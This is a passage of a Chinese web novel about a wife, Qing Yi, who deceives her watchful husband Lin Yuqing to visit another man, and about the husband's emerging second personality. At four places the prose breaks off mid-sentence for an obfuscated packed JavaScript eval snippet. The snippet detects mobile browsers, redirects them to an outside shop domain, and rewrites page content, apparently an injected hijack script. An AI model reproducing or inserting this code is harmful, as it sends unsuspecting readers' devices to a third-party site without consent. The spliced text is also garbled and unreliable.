他的五官俊美干净,棱角分明的,即使是在没休息好的状态也带着一种病态的美感,那双漆黑的眸子此刻却毫无暖意,像深不见底的穴眼,直勾勾地,仿佛要把她吸进一个黑暗无边的地方。 卿意回望他,忽然感觉浑身发冷。 “卿意。”男人嗓音沙哑,没再说什么重新躺进被窝,只留下一个宽阔的后背对着她。 卿意真的不明白他怎么了,上班就快迟到她没时间耗着,快速套上工作服,还好睡着后他帮忙清理了,省去了洗澡的时间。 她收拾好准备下楼,走到卧室门口瞥见床上一动不动的男人,叹了声气又倒了回去。 “是不是哪里不舒服?”她掀开被角,探上他的额头。 “没有。” 好在体温是正常的,卿意说了句“那我先去上班了”便匆匆离开。 她的背影消失在楼道转角,渐渐的,高跟鞋的声音也随之远去。 林与青的世界彻底安静了。 不知道过去多久,他缓慢地翻了个身,鼻尖嗅到一缕清甜的香味,微微抬眼,淡蓝色睡裙正丢在枕边。 温热的,残留着香味与女性气息的衣物。 叠整齐后,他闭上眼将脸埋进去。 补觉到十点半左右,林与青起床换衣服,出门时手机屏幕弹出一条消息推送。 [我老婆很爱我的,之前的都是一场误会,她说是因为这段时间工作太忙才忽略了我的感受!祝兄弟们都能找到爱情!] 只是上次无意中点进了这个论坛,为什么一直推送? 林与青眉心拧紧,下意识长按删除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我想多留点时间陪家人。”林与青没再看怔在原地的院长,起身出门。 外面又下起了雨,林与青走进附近的一家便利店。他没撑伞,细密的雨丝像清晨的蜘蛛网,琐碎地攀附在他的发梢。 “您想要哪种?”店员说着话,一边偷偷打量面前的英俊男人。 林与青平时不抽烟,伸手随便指了一盒。回到车内,他没有选择抽,只是一下下拨开关闭烟盒。 雨势转大,敲击车窗时发出寂寥的声响,天色也变得格外灰沉。 林与青侧头望向雨幕中的行人,“哒”一声将烟盒盖回去。 当务之急是找出那个男人,那个勾引有夫之妇的第三者。 8. 云锦园 社保中心食堂提供午餐,为了省事卿意平时都在单位吃午饭,但今天特意去了趟马路对面的24小时便利店。 上周在求职软件刷到他们正招聘店员,她正好去了解了解,得知还没招到合适的人卿意心里便打定了主意。 她给了便利店一笔钱让他们把岗位先空出来,后面的工资她也可以付。 以何年的性格肯定不会再回她的消息,卿意也不打算再问,过几天直接找个时间去他那就行了,实在不行的话她像从前那样哭上一顿,何年大概率会跟她来市里。 关键在于怎么瞒过林与青去找他...... 卿意最近真的摸不透自己丈夫的心思,特别是昨晚,他明明一直是个十分遵守规划的人。更何况她也不擅长说谎,上次借口替同事的班说得结结巴巴差点露馅,还好林与青没发现什么,这回不能再用这个理由了。 她想了一个中午仍旧没什么头绪,下午忙着处理一桩由于车祸去世的社保清算业务,手机中途响个不停,她瞥了眼,等到稍微闲下来才拿上去洗手间。 电话是妹妹卿姝打过来,卿意皱眉,恰好看见前面楼梯间没人,她进去后回拨过去。 “找我什么事?” “真是大忙人,打这么多个电话都不接。” “我在上班。” 电话那边传来一声冷笑:“上班就上班吧,妈妈让你周六过来。” “对了,别挑大早上,我周末要补觉的。” 卿意沉吟半晌,回道:“告诉爸妈周六我会在家里住一晚上。” “到底又想住什么啊?你不是都嫁人了吗,那卧室我——” 卿意将电话挂断。 自从被接回澜江这个妹妹就和她合不来,此刻懒得做口舌之争。 6月14日...... 接电话的时候无意瞟到时间,她这才想起来再过几天林家人可能要去雁山墓园扫墓,没记错的话是每年的6月17号,往年林与青都会提前一晚上回西城院。 大约是祭奠亲人吧,林父林母应该没有让她去的想法,否则早让管家通知了。 那天正好是周日,周六晚上在父母家住,然后第二天去找何年谈工作...... 当晚卿意便游刃有余地和林与青提及安排。 “一定要在那边住吗?” 和她想的一样,林与青确实要去墓园,想让她同行。 “你带我去叔叔阿姨可能会不高兴。”卿意打开化妆屉,在一堆没拆封的瓶瓶罐罐里取出一支唇膏,“我也好几个月没有回家了,正好住一晚上。” 别墅外偶尔响起几声鸟鸣,夜雨声中平添许多凄厉,林与青面无表情坐在结婚照下面,透过化妆镜观察镜内女人的神情。 几秒后,他忽然起身。 卿意刚拧开润唇膏,右手猛地被人攥住,一时失力,手里的唇膏“啪嗒”摔落在地。 “为什么不戴婚戒?” “啊?” 对上眼前放大的帅脸,卿意不解回答:“上个月不是说太招摇吗,所以取下来了,你忘记了?” 林与青垂眼定定地看着她,最终松手坐了回去:“抱歉,是我记错了。” 卿意捡起地毯上的唇膏,看了眼对面的巨幅婚纱照,又看了看低着头不知道在想什么的男人。 “怎么了,心情不好吗?”她走过去,坐在他旁边。 林与青感到一阵迷茫和痛苦。 他无法不去想那些事情,怨恨像壶内慢慢沸腾的水,不断煎熬他的心脏。 可他怎么能恨卿意呢? “卿意,我是不是年纪大了?” ??? 卿意睁大了眼睛,满脸不可置信:“你说什么?!” “你喜欢这些年轻的人。”林与青机械转动身体,拿来床角的杂志。 卿意瞄了一眼杂志上的男模,连忙否认:“我圈出来只是觉得衣服版型不错,和模特没关系。” 林与青这类人竟然会年龄焦虑...... 她翻到下一页,有些忍俊不禁:“你看这个模特也28了,比你还大三岁。” “旁边这个西班牙籍的年龄和我差不多,但怎么说呢,我觉得你的眼睛更深邃,唇型也更好看。” “而且你的身材也比他好......” 卿意聊上头嘴巴就没了把门的,洋洋洒洒一通对比分析,直到发现他一句话也不接了才尴尬合上杂志:“不好意思,我随便说说的,不是想评价你。” “嗯。” 她的嘴唇小巧,润唇膏大约是樱桃气味的,说话间能闻到淡淡的果香。 林与青移开目光不再看她。 热闹的卧室冷清下来,卿意眉头紧锁,恨不得缝上自己的嘴巴,他不会以为她非常沉迷于他的脸和身体吧? 虽然有点喜欢,但也只是一点点而已...... “卿意。” 又被点名,她疑惑扭头。 “不要轻易相信别人,现在有很多居心叵测的坏人。” 卿意没有听懂话里的意思,仰起脑袋想从他的表情中看出点什么,但一见对方严肃的模样又怂怂地低下了头:“哦。” * 云锦园靠近郊区,独栋老别墅,还是凌世百货成立那年父亲卿江国买下的,地理位置虽然算不上太好,但胜在依山傍水,风景秀丽。 九几年“下海潮”兴起,卿江国带着新婚妻子赵美芬来到澜江,遍地都是黄金的年代,多少人挤得头破血流想闯进去分块肥肉,夫妻俩从街边卖衣服的小贩做起,一路打拼,人到中年才功成名就。 卿卿意望向车窗外一排排茂密的栾树,满枝金黄色、密密匝匝的花,等秋天来临结成红果,落地成泥。 她是在过完十岁生日后被送到姨妈家的,正是栾树开花的那段时间。 当时凌世百货资金周转不过来,事情愈演愈烈,到后面甚至连家里的佣人也全部辞退了,妈妈兼顾家庭和工作压力太大,加上妹妹卿姝还没满六岁,便把她送回了乡下。 直到四年后卿意才再次回到云锦园,老旧的小洋楼经过重新装修,庭院、花圃、随风摇晃的秋千......应有尽有,和那几年爆火偶像剧里的豪宅一模一样。 记忆回拨得太远,卿意揉了揉酸涩的眼睛,收回视线。 “我明天忙完就过来接你,有事记得打电话。” “好。”卿意轻声回应,瞟了眼被裹进掌心的左手。 林与青能察觉出她的情绪变化,没多问俯身取下她的高跟鞋。 “嘶——”卿意疼得倒吸一口凉气。 “后跟磨红了,换双鞋吧。” “不是什么大事,就是没穿惯。”他的助理在前面开车,卿意别扭极了,挣脱男人的手腕重新穿上鞋子。 自年初结婚后她有段时间没回来,看见花园里搭好了露营帐篷,不由得朝管家多问了一句:“那一片之前不是种了五色梅吗?” 父亲卿江国平时爱打理花园和庭院,花卉绿植不让其他人乱碰,小时候卿意不小心摔倒踩烂了好几株月季,战战兢兢怕了一晚上,好在父亲没有责怪还帮她涂了药。 “前天二小姐约了同学来家里玩,说要在花园办露天音乐会,那片区域就清理了。” 卿意望过去,帐篷外放着一把吉他和几本简谱。 “小意,你怎么还落在与青后面了?” “看见花园里搭了帐篷多问了平叔几句。” 赵美芬边笑边沏茶:“都怪你那个妹妹,跟你爸大吵一架,害得好好的花都被铲光了。” “这样......”卿意闷声回答。 “脚还疼吗。” 赵美芬正好端着茶壶进厨房,因而没听见玄关处女婿说了什么,卿意看了眼母亲的背影,低着头不吭声。 林与青从鞋柜拿出一双新棉拖:“很疼?” “没......” “先换上。”男人不由分说抬起她的腿,“姜堰去拿药了,我晚点帮你擦上。” 卿意心不在焉听他说着,等到高跟鞋被脱下,双脚放进柔软的棉拖里,才后知后觉环住他的腰:“谢谢。” 她体型娇小,小小一个靠在他胸前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525858|203493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候总是格外可怜,像个犯了错祈求原谅的孩子。 林与青见过她十四岁的模样,瘦弱纤细,总是独自一人穿越黄昏时刻空荡荡的校园。 她真的犯下了不能被原谅的错误吗? 夏天抱在一起久了还是会热,卿意退出他的怀抱问道:“你总让姜堰跑来跑去的会不会不太好?” “你是我爱人,这些事情在助理的职责范围内。” “嗯——那个,有点热,我先上楼看看。”卿意结结巴巴跑走,等到了楼梯才用手背贴了贴自己发烫的脸颊。 明明都和林与青结婚好几个月了,这脸红的毛病也不知道什么时候能好...... 她的卧室在二楼最东边,拿钥匙开门时卿意发现房门并没有锁,拧下把手就打开了。 推门进入,横架在窗台下方的钢琴印入眼帘,而她的书桌被挪到另外一边,桌面零零散散堆着几包没拆开的零食。 “回来了。”卿姝抱臂懒洋洋倚着门框,一边用手指理顺刚染不久的金发,“我最近在练琴,看这边风景不错,就借用了一下你的卧室。” “为什么不提前问我?” 卿姝将头发捞起来随意扎成马尾,余光从她脸上扫过,冷嗤:“你不是结婚了,房间也用不到了,借我用用也不行吗?” “莫名其妙的......每次回来都没好事。”卿姝懒得跟她掰扯,转身回隔壁卧室,接着“砰”地一声合上房门。 书桌上东西很乱,卿意抽出压在最下面的外语书和笔记,这些都是她以前的学习资料,也不知道卿姝翻出来干什么,她一一整理好放在床边,打算明天带回月港。 下楼时林与青正和两位长辈说话,他不是话多的人,聊起天来也是淡淡的回应。 见她下来,三人齐刷刷看过来。 “爸,妈。”卿意没看懂他们眼里的意思,坐下后问道,“在聊什么呢?” 赵美芬的目光在两人身上绕了一圈,心底不由得赞一声郎才女貌,笑着轻拍女儿的手背:“怎么在楼上待这么久,不知道的还以为你们小两口闹矛盾了。” “妈,您别开玩笑了......” “哪里开玩笑了。”赵美芬看了眼低头喝茶的男人,拉回正题,“刚才我还问与青你们准备什么时候要孩子。” “......”卿意噎住了,什么孩子不孩子的,她从来没想过这个问题。 “她还小,以后再说吧。”林与青淡定放下茶杯,接过话。 都这么说了赵美芬也不好再催,反倒是一直没说话的卿江国主动聊起一些生意上的事情。 没过多久管家提醒午餐准备好了,等人都去了餐厅,卿意路过某人身边时没忍住小声嘀咕:“你就比我大两岁而已。” 还说什么“她还小”。 闻言,男人居高临下睨了她一眼,然后笑了。 眉眼弯弯的笑容,就和以前路过高三教室门口,他望过来的神情那样。卿意感觉他是在故意勾引自己,于是皱着眉走向餐厅。 可能是因为林与青在场,用餐时卿姝罕见的没吭声,吃完后安安静静上楼了。 桌上大部分菜都是卿意爱吃的,她专心致志低头吃饭。 “听说你在筹备新公司?” “是。” “有需要我们帮忙的地方随时提。” 卿江国对这个女婿向来客气,他一直没明白林家为什么会同意让独子当医生,政路都铺好了不走不是白白浪费人脉,从商于这种家庭而言自然也是次选,但对他们卿家来说不失为一个机会,毕竟商业往来相比之下还是简单许多。 “小意性格温吞,平时劳你多担待。”卿江国夹了块海参放进女儿碗里,“你那个工作又忙又累,看看要不要找个时间辞了,省得让与青操心。” 卿意这会才回过味来,连忙放下筷子问道:“你不在医院工作了?!” 林与青看了眼被她拽紧的手臂,心底的天平不受控制地再次朝“原谅”的方向滑过去:只要她不再犯,一切会恢复如初的。 “嗯,我辞职了。”他认真回答。 9. 祭奠 辞职了。 卿意简直不敢相信自己听到的,从和林与青产生交集开始,到他跳级,被首都医科大提前录取,再到做研究发论文,博士毕业......他的人生几乎是奔着成为顶尖医生目标去的,现在却轻飘飘地说辞职了。 医生不是他热爱的职业吗?卿意想不明白,餐桌上当着父母的面不好直接问,等到下午两人独处,她没忍住问了一嘴。 “之前太忙,现在想多陪陪你。”林与青拧紧药膏,随手放进一旁的收纳盒。 卿意一愣,手臂不小心压到身后的钢琴,琴键发出“噔”一声的轻快音符,面前的男人抬腿,转身看向她。 她的心脏像被这个音符吓到似的,突突地跳得异常快:“只是因为这个?!” “嗯。”林与青弯腰,摸了摸妻子又红又热的脸颊,“要开空调吗?” 卿意大脑有些晕,这是不是表白的意思?受宠若惊,还是手足无措......她也分不清了,无论婚前还是婚后,他都很少说这种直白、袒露心声的话。 这副丢了魂的样子落在林与青眼里却是另一种含义,他收回手,眼神依旧盯着她:“你不开心吗?” 卿意一抬头又对上了他的眼睛,慌忙敛眸望向别处:“没有没有,其实你不用特意陪我。” “我平时要上班,而且晚上和周末你都在——” 剩下的几个字被强行掐断,男人柔软的双唇贴上了她的,唇齿轻蹭,若即若离。 卿意仰着脸,圆圆的杏眼渐渐变得朦胧,直到牙关被彻底撬开,冬雪的气息缠绕在舌尖,她才后知后觉闭眼。 卧室里只有一张单人床,两个人,尤其对方还是个接近一米九的成年男性,一起躺上去后显然有点拥挤。 这个吻让卿意浑身都麻了,她意识到林与青最近三番五次的主动可能是想向自己示爱? 她缓了好一会,佯装若无其事翻进对方怀抱:“再考虑考虑吧?没必要辞职的。” “我决定好了。” 他的皮肤白皙没什么瑕疵,经过刚才的接吻眼下泛着一点不太明显的潮红,看着很性感,“可——” “睡觉了。”男人阖上眼皮,右臂不忘牢牢钳着她。 见他闷闷的,卿意不好再继续说下去,老老实实枕着他的肩膀睡午觉。 醒来窗外的天空已经暗了,隐约能听见花园内的交谈声,她迷迷糊糊往身后探了探,空无一人。 “爸,你过去点!还有妈,挽着爸的手。” “这样可以吗?” “往左往左,往左一点......” “你这孩子。” 淡蓝色窗纱微微晃动,欢声笑语随风飘进来,卿意用力眨眼,头顶的灯慢慢变得清晰,安静的房间里只有她一个人。 孤独感的驱使下,她摸到枕头旁边的手机,看见屏幕上的未读消息方才轻吁一口气。 [嗯嗯,我醒了,老公。] 卿意换了身衣服下楼,傍晚,天边的晚霞是温柔的粉紫色,夕阳沉至地平线,更远的地方完全黑了。 “醒了啊小意。”赵美芬笑着朝她挥挥手,“要不要来拍照?妹妹新买的相机到了。” “我才不想帮——”卿姝话到一半手背被妈妈拍了一下,瞪了父母一眼后坐上秋千自顾自玩起来。 “先不拍了,爸妈,我去吃点东西。” “我和你一起去,别饿着了。”卿江国是被硬拽过来的,现下拍完了便想回屋和大女儿聊聊林与青的事,腿还没挪出去又被小女儿缠着看刚拍好的照片。 卿意没有加入的想法,忽略卿姝刻意放大的笑声孤身走进饭厅。 * 林家老宅依山而建,从铁铸大门进去需要继续开十五分钟的车,林与青低眸回复她的消息,经过秀湖时侧头望了一眼。 湖面倒映着雁山山峰,夕阳下宛若一幅水墨画。 雁山多年前算得上是澜江市的知名景点之一,办了墓园以后来的人便少了,这片区域本不该开发墓园,大约有他们的推波助澜才达成的。 汽车抵达主宅,平时这边只有几个负责打扫清洁的佣人,宅子有些年头了,木质地板走上去会有轻微的“咯吱”声,但空间太大,任何细微的声响如同丢入海面的石子被瞬间吸走。 穿过天井,林与青径直前往卧室,路过祠堂前面忽然听见有人叫自己。 “刚到吗?”屋内香火味浓郁,苏妘不加掩饰地将目光倾注在屋外的男人身上。 林与青扫过里面供奉的牌位,平淡应了一声:“嗯。” 见对方迈步就要离开,苏妘急忙叫住他:“你父母让我来的。” 林与青诧异抬了下眉,不太明白她想表达什么。 夜幕降临,昏暗的光线下只能瞧见模糊一圈轮廓,苏妘望着几步外那个熟悉的身影,强忍住心底的眷恋,朝他身后看了看:“卿意没来吗?” “有其他事吗?” “没......林与——”苏妘停住,扶着门框愣愣盯着远去的背影。 越过转角,脚步声便一点也听不见了,偌大的老宅内静得出齐。 不知过去多久,落地钟“哒哒哒”整点报时,苏妘回头看了眼正中间的牌位,接着看向男人离开的方向,蓦地笑了。 夜间的宅院听不见什么人声,林与青拿出手机,将外套挂在衣架上。 他正准备打电话给卿意,雕花窗外传来女人哀悼悲切的啜泣,不到一分钟,那哭声被男人宽慰声盖过。 林与青眉头紧锁,合上窗户将正屋的声响隔绝在外。 昨晚心情不好卿意很早就睡了,早晨起来才看见丈夫打过来的电话,她在微信里解释了一下,吃完早餐后告诉父母自己要出门一趟。 “出什么事了,要不要司机送你过去?” “不用了爸爸,我回月港拿点东西,下午回来。” 见状卿江国没再说什么,嘱咐了句路上注意安全。 时间紧,卿意没敢在路上耽搁,不到十一点就到了上寒村,但人到老屋才知道何年不在家,她找到放在菜种子下面的钥匙进去喝水,接着又去后山找了一圈,同样没见到人。 不在家也不在后山,那只能在工地了,他就这么点去头,不回消息那她就去工地上找人。卿意心里负着气,搭乘去镇上的大巴。 没闹矛盾之前何年曾无意中发过自己工作的地方,她依稀记得,等到达目的地,果然看见一栋建到一半的商场。 前面绑扎的钢筋上围坐着一群吃饭喝酒的男人,卿意避开他们,询问另一边蹲在地上吃快餐的大哥:“你好,请问何年在这里工作吗?” “哪个?” “何年,何仙姑的何,年龄的年。” “哦哦哦。”大哥回过头,用筷子指了指身后的板房宿舍,“呐,第二间。” “好的谢谢。”卿意松了口气,幸亏没找错地方。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525859|203493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从堆起的泥沙旁边穿过去,不小心踩到一个开口的塑料瓶,泥水溅湿了裤腿,弯腰清理的功夫,忽然有人冲她喊了一句。 “美女,你走错了地方吧,商场都还没建成怎么跑进来了。” 周围光膀子抽烟的男人不约而同大笑起来。卿意不理他们起身就走,那人仍旧在后面喊她,言语也渐渐污秽起来。 她正要还嘴,冷不丁被人一把扯了过去。 何年比卿意高出许多,身上还穿着上次见面时穿过的黑色T恤背心,站在她前面像一堵墙结实的墙,黑发凌乱似乎刚睡醒。 “大中午吵什么?” “英雄救美啊,姓何的,你他妈是不是就和我过不去?” “是又怎么样?” “你——” 那人被激怒,面色狰狞地想冲过来,虽然被护在身后,但卿意还是被吓了一跳。 工地上把事情弄严重了大家都落不到好处,众人连忙拽住那个闹事的人,好说歹说把他拉走了。 “何年,我来——”话说到一半她被男人半架半拽的往前拖,卿意手臂被他勒得生疼,再加上对方这种糟糕的态度,她忍不住发起脾气,“你放开我,不许碰我,放开!” 何年懒得搭理她,把人带回宿舍后长腿一勾用力将门锁上。 卿意被他丢在凳子上,踉踉跄跄想站起来踢他结果没站稳又一屁股摔了回去,愤怒和疼痛的双重作用下,她委屈反问:“我好不容易才找过来的,你为什么这么对我?!” 刚开始只是几滴眼泪,卿意越想越难过,最后哭了出来。 何年背对她捡起床上的烟盒,叼着烟反复几次都没点着,索性又扔了回去。 僵持半天,他转身走到女人跟前:“你跑过来干什么?” 听见对方硬邦邦的句子,卿意愈发悲从中来,泪眼婆娑看了他一眼后别开脑袋。 “我上次和你说了不要再来找我,你到底有没有听进去?” “每天四处乱跑多危险你自己知道吗?你以为你那三脚猫的功夫能对付得了谁?” 卿意任由他训斥,咬紧下唇一声不吭。 见她这副油盐不进的德行,何年干脆把人提溜起来往外推:“等会有趟回市区的大巴,我送你过去。” “我不走!”眼看拗不过,卿意急忙反手抱住他,“对不起,何年,你别赶我走。” 温热的体温,力道对常年干体力活的人来说算不上大,但何年像被定住了一般僵在原地。 男人瞳孔里映着一张湿漉漉的面容,他下意识伸手为她擦拭眼泪,却又忽然停在半空中,良久,他退后半步:“卿意,我一点半要出工。” 听出语气里有软化的迹象,卿意急忙告诉他自己过来的目的:“那家便利店就在我的单位附近,最近一直在招人,你和我去市里好不好?” 她看着他被磨出血泡的手,眼泪又掉了下来:“我真的不想你在这里干了,何年,我现在已经有钱了。” 男人眉头紧紧拧着,没有接话。 时间一分一秒过去,见她哭得直抽气,他倒了一杯水递过去。 宿舍是四人间,其他三个工友中午去了外面的餐馆吃饭,大概率不会回来,但他不放心她一个人在这里待着,又劝了几次,她始终不肯回去。 何年走向洗漱台,把塑料袋里仅剩下的两个苹果拿出来洗了,“哗啦啦”的流水声中夹杂着男人低沉的嗓音:“别哭了,我听你的。” 10. 欺骗 见他终于同意和自己回澜江市,卿意喜出望外,恨不得现在就一起坐大巴回去,但这份喜悦很快被空气里飘浮的烟味冲淡。 她望着对方沉默的背影,无比强烈地意识到是自己一直在逼迫他。 “我过阵子再去市里。”何年瞥了眼床上的信封,掐灭烟蒂拧开水龙头洗手,“这边还有点事情没处理完。” 卿意内心五味杂陈,只轻轻“嗯”了一声。 “我答应了你,不会反悔。” 男人动作别扭地将苹果削皮,随后切块端到她面前:“不用操心我的事,住哪,后面干什么,我自己会去找。” “那都弄好了给我打电话。”听出他不愿意听从自己的安排,卿意没有坚持,只要他肯离开这里就行,“以后也要经常给我发消息。” 何年回望她,没过一会视线移到旁边装着苹果的盘子上:“吃吧。” 他下午还要开工,卿意担心他是说这些哄着自己离开的,临走之前好说歹说他才给了一个具体的时间。 一个月。 那个时候就是真正到夏天了。 卿意隔着大巴窗户和男人挥手说再见,山路仍然颠簸,但回程这趟却快了很多,她在下午三点半左右便到了云锦园。 “爸爸。” 今天天气不错,卿江国正弯腰修剪花园里的花花草草,看见前面的女儿起身疑惑道:“怎么又回来了?” 卿意略皱了皱眉,解释:“月港那边事情处理好了,等会林与青过来接我......” “与青午饭后就过来了。”卿江国把修枝剪放到一边,边摘下手套边说,“我还以为他都到家了。” “你先去客厅坐会,我给他打个电话。” 卿意耳边闪过一阵“滋滋滋”的强烈白噪音,午饭后......林与青回月港了吗? 那他是不是已经知道了她在说谎?! “爸,不用打电话了!我先走了!”她不敢耽误时间,匆忙叫上司机送自己回去。 不到四十分钟的路程卿意如坐针毡,天不遂人愿,车刚停在别墅门口她就看见了里面的黑色宾利,心脏瞬间沉了下去。 “先生回来了?” “是的,夫人。” “他现在在干什么?” 女佣摇摇头,无法回答这个问题。 一楼没看见人,也不在楼上卧室,跑上跑下卿意额间冒出些汗,余光扫到洗衣篓里换下的衬衫,她大概知道了对方在哪里。 卿意花了点时间理清该说什么,然后下楼去地下健身房。 巨大的落地玻璃后面,男人手上缠着手带正在练拳击,拳头击打在沙袋皮面的声音无比沉闷,他整个人仿佛刚从桑拿房出来,被一层厚重的热气包裹。 她在健身房入口站了半天,纠结许久才小声喊道:“老公。” “砰砰砰”的沙袋声骤然停下,林与青侧头望了一眼门口的身影,淡淡答:“回来了。” 卿意本以为他会问自己今天去了哪里,突然这样说反倒有些无所适从,迟疑片刻主动开口:“嗯,原本早上想回家拿点东西,但在商场逛得忘了时间。” “不好意思,让你中午来的时候没等到我。” “什么都没买吗?” 看着对方转身拆绷带的挺拔背影,卿意不太确定他是随口一问还是别的,忐忑回道:“没看见特别喜欢的。” “嗯。”林与青脱下被汗水浸透的衣服,赤裸着上半身往浴室走。 没有设想中的怀疑和追问,卿意不禁觉得自己是“做贼心虚”,尤其此刻,她的内心出奇不安。 她小跑过去跟在他后面:“要不要我帮你把衣服拿下来?” “里面有浴袍。” “......那好吧。” 或许是她脸上的失望太过明显,林与青想了想,将手里换下的衣服交给她:“可以帮我放上去吗?” “可以啊。”卿意接过衣服,正要转身上楼,却忽然被他叫住。 她茫然望向对方。 “卿意,别骗我。” “我......”卿意僵硬地动了动嘴唇,如同一个刚学会说话的孩子,剩下的话卡在嗓子眼怎么也说不出来,而他已经径直往浴室去了。 她拿着衣服站在原地许久,最后魂不守舍回到二楼卧室。 晚上吃饭林与青没有出现,卿意甚至不知道他是不是出门了,洗漱完接近睡觉的点,他才回卧室说新公司要经手的事情多,让她不用等。 卿意翻来覆去实在睡不着,索性踢开被子坐起来。 她的确骗了林与青,是不是要告诉他其实自己去找了何年? 不行,绝对不行。 现在林与青只是怀疑她对他说谎,如果提起何年他很可能会想起那件事,到时候会更加麻烦...... 卿意揉了揉太阳穴下床,来回踱步后决定去书房找他探探情况。 连续敲了两下门没听见回应,她瞥了眼门把手,犹豫过后轻声询问:“老公,你睡觉了吗?” ......还是没人理她。 林与青性格很好,过去这些年两人基本没有吵过架,更别说现在这种无法沟通的情况。 “晚餐我让阿姨重新热了,要不要帮你端上来?” 卿意继续等了会,见门依旧没有打开的迹象只好安慰自己他已经睡觉了,然后悻悻然回卧室。 一墙之隔。 高大的身影站在离房门一臂远的位置,门外的声音如同某种指引,她说一句他便往前一步。 直到第二句话结束,门外再没有声响。 大约五分钟,伴随“哒”的细微声音,伸手不见五指的书房重新亮起来。 光线冷白刺眼,林与青微微眯起眼睛,阔步拿起红木桌上的手机。 修长的手指在屏幕上滑动,他很快翻到姜堰的电话。 “夫人去见的还是那个人吗?” “是的。”电话那边沉默片刻才继续说道,“需要安排他过来和您见一面吗?” 男人低眸望向桌面的纸张,由于情绪起伏眼神变得幽暗莫测,他抓起那张纸死死握在手心,指关节在极度用力下变成了可怖的青灰色。 他松开手,牵动唇角嗤笑一声:“不用,我去见他。” * 卿意不好容易睡着了,却一直在做着一些光怪陆离的梦,中途她以为自己醒了,看见陌生的人和场景才发现依然在噩梦中。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525860|203493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她浑身发凉,一番挣扎后艰难睁开眼睛。 午夜时分,安静的卧室内卿意只能听见自己“砰砰砰”的心跳声。 刚从噩梦里惊醒,她将手背搭在额头上缓缓调整呼吸,倏地,她感觉到哪里不对劲,下意识屏住气息—— 房间里还有第二个人的呼吸声。 卿意瞬间汗毛倒竖,睁大眼睛惊恐地看向右边,果然有一个人正直直地站在床边。 “林......”剩下的两个字被恐惧吞没,她微张着嘴,紧紧盯着对方。 他像个做工精致的石蜡像,做出垂眼望向床上的表情,瞳孔始终一动不动,平时黑白分明的漂亮眼睛此刻在黑暗里显得异常惊悚。 等狂跳的心脏平复下来,卿意试着叫了他几声,但他仍然一副状况外的模样,她察觉出不对劲赶忙开灯下床。 “林与青,林与青......” 卿意接连晃了好几下男人的手臂,他转了转眼珠,仿佛刚接通电的机器人,眼底恢复了神采。 “卿卿......” 见他难受地捶了几下脑袋,卿意眼疾手快扶他坐下,“你怎么了?” “我头好疼。”话音刚落,他就凑过来一把搂住了她的腰。 ......卿意仅用三秒接受了林与青的第二人格出来的事实,然后将钻进自己睡衣里的脑袋揪出来,“好了,我去给你倒杯热水。” “嗯嗯,你忘了穿内衣睡觉。” “......知道了。” 在她的一阵追问下,他才坦言他也不知道为什么会突然站在那里,反正被她摇醒过来就在卧室了。 毕竟林与青之前正和她闹冷战,卿意现下既内疚又担心,见没有其他异常悬起来的心才放回肚子里。和主人格相反,他一有精力就问东问西,卿意被闹得头痛只好把晚上的事情简单说了说。 “意思是你们都分房睡了?” “算吧。”她叹了声气,“我感觉他好像生气了。” “真的吗?!他为什么生气?”男人双眸亮晶晶的,闪烁着兴奋的光芒,“他也太不讲道理了,我才不忍心把你晾在这么空旷的房间。” “......” 卿意当然不可能告诉他实情,这个才是真正的醋坛子,他连林与青的醋都乱吃。 她支支吾吾半天说不出个所以然,干脆闭上嘴。 “你是不是做了亏心事,卿卿。”他认真观察她的脸,说罢就要去拿她的手机,密码他们两个都知道,只不过林与青从不做这种事情。 他人高马大的,卿意被锁在怀里没抢过。 “怎么又取消了我的置顶?”他拧着眉往下滑,轻“啧”一声发出嫌弃的声音,“怪不得,有些人两天都不找你聊天。” “都说了没有什么......”卿意夺回手机,还好上次因为何年一直不理自己气得她把聊天框删了。 “好了好了,对不起。” “先别弄我。”她推开男人想把手机放回床头柜,不料他扑过来从后方将她牢牢抱住。 “你今天好香。”他侧头吻了吻她的脸颊,“他生气了不是挺好的吗,干脆气死他算了。” “今晚我陪你,卿卿。” 11. 等你 卿意心里想着林与青的事情,忽略他的求爱蹙眉问道:“你说我要不要和林与青道个歉?我感觉他已经知道我说谎了。” 